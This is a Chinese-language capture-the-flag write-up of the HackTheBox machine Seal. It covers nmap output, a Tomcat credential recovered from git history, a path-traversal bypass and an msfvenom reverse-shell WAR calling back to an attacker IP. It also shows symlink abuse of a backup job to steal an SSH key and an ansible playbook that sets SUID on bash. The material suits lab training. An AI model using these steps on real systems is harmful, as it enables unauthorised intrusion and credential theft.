基本信息

https://www.hackthebox.eu/home/machines/profile/358
10.10.10.250

端口扫描

22,443,8080:

$ nmap -sC -sV 10.10.10.250

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 13:34 CST
Nmap scan report for 10.10.10.250
Host is up (0.081s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 05:35:02 GMT
|     Set-Cookie: JSESSIONID=node0rkdj8cp2y9wi1qap4c6dmp4gq2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 05:35:01 GMT
|     Set-Cookie: JSESSIONID=node01334e5hwd3wp2eygx227q9j2g0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 13 Jul 2021 05:35:01 GMT
|     Set-Cookie: JSESSIONID=node0i2ezw46rfo05o9o1sr10yxgn1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/13%Time=60ED2605%P=x86_64-apple-darwin19.6.
SF:0%r(GetRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2
SF:013\x20Jul\x202021\x2005:35:01\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node
SF:01334e5hwd3wp2eygx227q9j2g0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\
SF:x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20tex
SF:t/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,10
SF:7,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2013\x20Jul\x202021\x2005:3
SF:5:01\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0i2ezw46rfo05o9o1sr10yxgn1
SF:\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x20197
SF:0\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAll
SF:ow:\x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRe
SF:quest,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20te
SF:xt/html;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20c
SF:lose\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Ve
SF:rsion</pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\
SF:r\nDate:\x20Tue,\x2013\x20Jul\x202021\x2005:35:02\x20GMT\r\nSet-Cookie:
SF:\x20JSESSIONID=node0rkdj8cp2y9wi1qap4c6dmp4gq2\.node0;\x20Path=/;\x20Ht
SF:tpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nC
SF:ontent-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n
SF:")%r(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\
SF:nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069
SF:\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reas
SF:on:\x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\
SF:x20400\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/htm
SF:l;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r
SF:\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20characte
SF:r\x20CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20cha
SF:racter\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r
SF:\nContent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Messa
SF:ge\x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>"
SF:);
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.51 seconds

8080

Gutbucket,注册登录,可以查看信息：

443

seal market：

gitbucket

girbucketli得到一些用户名：

1
2
3

luis
alex
root

tomcat

历史commit里可以找到tomcat密码：

1
2
3

http://10.10.10.250:8080/root/seal_market/blob/ac210325afd2f6ae17cce84a8aa42805ce5fd010/tomcat/tomcat-users.xml

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

tomcat

tomcat默认路径，登录查看status正常，index会得到302，简单地绕过：

Tomcat path traversal via reverse proxy mapping - Vulnerabilities - Acunetix
https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

shell

同样的绕过方式，上传webshell，访问得到reverse shell,可以直接使用burp添加规则自动bypass：

1	msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f war -o shell.war

luis

查看进程可以发现root会定时以luis身份运行ansible,查看文件发现是备份服务，并且会copy软链接：

get id rsa

那么就可以软链接luis用户的一些文件或者目录，例如.ssh目录和777权限的uploads链接, 然后就能通过一系列操作，以tomcat的shell得到luis的id_rsa:

ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
ls /opt/backups/archives/  
cp /opt/backups/archives/backup-2021-06:17:33.gz rsa.gz
gzip -kd rsa.gz 
tar -xf rsa
cd dashboard
cd uploads
cd .ssh 
cat id_rsa

id_rsa

user flag

使用得到的luis ssh私钥登录，得到user.txt：

提权信息

sudo ansible-playbook,playbook自定义命令：

Ansible Command Module Examples | Devops Junction
https://www.middlewareinventory.com/blog/ansible-command-examples/

提权 & root flag

例如直接给bash suid，读取root.txt:

test.yml

- hosts: localhost
  tasks:
  - name: test
    command: "chmod +s /bin/bash"

参考资料

Tomcat path traversal via reverse proxy mapping - Vulnerabilities - Acunetix
https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
Ansible Command Module Examples | Devops Junction
https://www.middlewareinventory.com/blog/ansible-command-examples/
HTB Seal [Discussion] | RaidForums
https://raidforums.com/Thread-Tutorial-HTB-Seal-Discussion
Seal Hackthebox Detailled Writeup
https://0xsakthi.blogspot.com/2021/07/seal-hackthebox-detailled-writeup.html

Seal - HackTheBox

2021-07-13

Seal - HackTheBox

基本信息

10.10.10.250

端口扫描

8080

443

gitbucket

tomcat

tomcat

shell

luis

get id rsa

id_rsa

user flag

提权信息

提权 & root flag

test.yml

参考资料